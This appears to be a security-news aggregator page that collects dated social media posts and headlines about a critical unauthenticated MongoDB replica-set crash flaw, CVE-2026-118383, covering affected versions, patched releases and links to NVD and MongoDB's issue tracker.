social bsky.app @unnchain.bsky.social 2026-11-12 10:35 UTCMongoDBをレプリカセット(シャードクラスタ含む)で使っている人へ。 CVE-2026-118383(CVSS 4.0で9.5)は、ログイン不要の要求で「待ち」を仕込まれると、遅れていたメンバーが後で新プライマリに選ばれた時にクラッシュし、条件次第でコード実行のおそれ。悪用は未確認、単体mongodは対象外。 8.0.37/7.0.48/8.3.16など修正版へ全メンバー更新を。Atlasは自動更新。 https://www.cve.org/CVERecord?id=C…Open source
-
social bsky.app @axnews.bsky.social 2026-11-12 10:35 UTC🚨 Breaking: CVE-2026-118383 — Critical 9.5 Impacted if: MongoDB Server < 9.0.7 · < 8.3.16 · < 8.0.37 +4 Use after free · over the network · no login https://ax-news.com/cve/CVE-2026-118383 #CVE #infosecOpen source
-
social infosec.exchange @117509315927375519 2026-11-12 10:35 UTC🚨 Breaking: CVE-2026-118383 — Critical 9.5 Impacted if: MongoDB Server < 9.0.7 · < 8.3.16 · < 8.0.37 +4 Use after free · over the network · no login https:// ax-news.com/cve/CVE-2026-118383 # CVE # infosecOpen source
-
social bsky.app @hacks.gr 2026-11-12 10:30 UTCA critical flaw in MongoDB Server (CVE-2026-118383) lets unauthenticated attackers trigger server crashes under specific replica conditions. MongoDB found and patched t… https://en.hacks.gr/sovaro-keno-asfaleias-sti-mongodb-pos-mporei-na-k…Open source
-
social mastodon.social @hacksgr 2026-11-12 10:30 UTCMongoDB Server contains a high-severity flaw tracked as CVE-2026-118383 with a 9.5 CVSS rating. An unauthenticated attacker can trigger a server crash under specific conditions involving lagging replica sets and primary catch-up cleanup. M…Open source
-
news meteoraweb.com 2026-11-12 10:12 UTCMongoDB, critical CVE-2026-118383 flaw and 26 patches - Meteora WebOpen source
-
social bsky.app @infosec.skyfleet.blue 2026-11-12 10:06 UTCCritical Pre-Auth MongoDB Flaw (CVE-2026-118383) Can Crash Lagging Servers on FailoverOpen source
-
social bsky.app @gazewires.bsky.social 2026-11-12 10:01 UTC🔐 Critical MongoDB Vulnerability Triggers Server Crashes During Failover MongoDB has released security updates to address a critical vulnerability, CVE-2026-118383, which can cause database servers to crash during… 🔗 Read the full story on…Open source
-
social bsky.app @gazewire.com 2026-11-12 10:01 UTC🔐 Critical MongoDB Vulnerability Triggers Server Crashes During Failover MongoDB has released security updates to address a critical vulnerability, CVE-2026-118383, which can cause database servers to crash during… 🔗 Read the full story on…Open source
-
social bsky.app @undercodenews.bsky.social 2026-11-12 10:00 UTCMongoDB Critical 95-Severity Vulnerability Allows Unauthenticated Attackers to Crash Database Servers During Failover + Video A Dangerous MongoDB Flaw Could Turn a Routine Database Election Into a Service-Wide Outage A critical security vu…Open source
-
social bsky.app @e-kiledjian.bsky.social 2026-11-12 09:59 UTCCritical Pre-Auth MongoDB Flaw (CVE-2026-118383) Can Crash Lagging Servers on Failover A critical flaw in MongoDB Server allows an unauthenticated attacker to send two requests that trigger a crash on the database server, w... https://thre…Open source
-
social bsky.app @thedailytechfeed.com 2026-11-12 09:37 UTCCritical MongoDB CVE-2026-118383 lets attackers crash lagging servers on failover unless patched. #MongoDB #CVE2026-118383 #DatabaseSecurity #Failover #PreAuthFlaw #Cybersecurity https://thedailytechfeed.com/severe-pre-auth-mongodb-bug-cve…Open source
-
news finance.biggo.com 2026-11-12 09:35 UTCMongoDB Patches Critical Pre-Auth Flaw That Can Crash Replica Set Members on Failover - BigGo FinanceOpen source
-
social bsky.app @thehackernews.com.web.brid.gy 2026-11-12 09:25 UTCOpen source
-
news thehackernews.com 2026-11-12 09:25 UTCCritical Pre-Auth MongoDB Flaw (CVE-2026-118383) Can Crash Lagging Servers on Failover - The Hacker NewsOpen source
-
news meteoraweb.com 2026-11-12 06:03 UTCApache HTTP Server, critical flaw in mod_http2 allows remote code execution - Meteora WebOpen source
-
social bsky.app @undercodenews.bsky.social 2026-11-12 04:39 UTCMongoDB Zero-Day-Like Security Flaw Enables Unauthenticated Crashes and Potential Remote Code Execution During Replica-Set Failover + Video Introduction: A Database Availability Risk That Could Become a Code-Execution Threat A newly docume…Open source
-
social bsky.app @undercodenews.bsky.social 2026-11-12 02:16 UTCMongoDB Unauthenticated Replica-Set Crash: CVE-2026-118383 Exposes a Denial-of-Service Risk Without Code Execution + Video Introduction: A Small Number of Requests Can Trigger a Major Database Disruption A security issue affecting MongoDB…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-11-12 01:48 UTCDatadog reproduced a crash in MongoDB replica-set members using two unauthenticated ping requests and a later election/catch-up event. CVE-2026-118383 is fixed in listed releases; the tests did not achieve code execution.Open source
-
social bsky.app @securitylab-jp.bsky.social 2026-11-11 21:09 UTCMongoDB ServerにCVSS 9.5の認証不要RCE 脆弱性「CVE-2026-118383」 9.0.7などで修正、レプリカセット構成に影響 rocket-boys.co.jp/security-mea... #セキュリティ対策Lab #security #securitynews #セキュリティ #セキュリティニュースOpen source
-
news meteoraweb.com 2026-11-11 20:22 UTCChatGPT Says Goodbye to Advanced and Standard Voices - Meteora WebOpen source
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-118383 |
| jira.mongodb.org |
GitHub CVE
|
https://jira.mongodb.org/browse/SERVER-138119 |
| jira.mongodb.org |
GitHub CVE
|
https://jira.mongodb.org/browse/SERVER-138175 |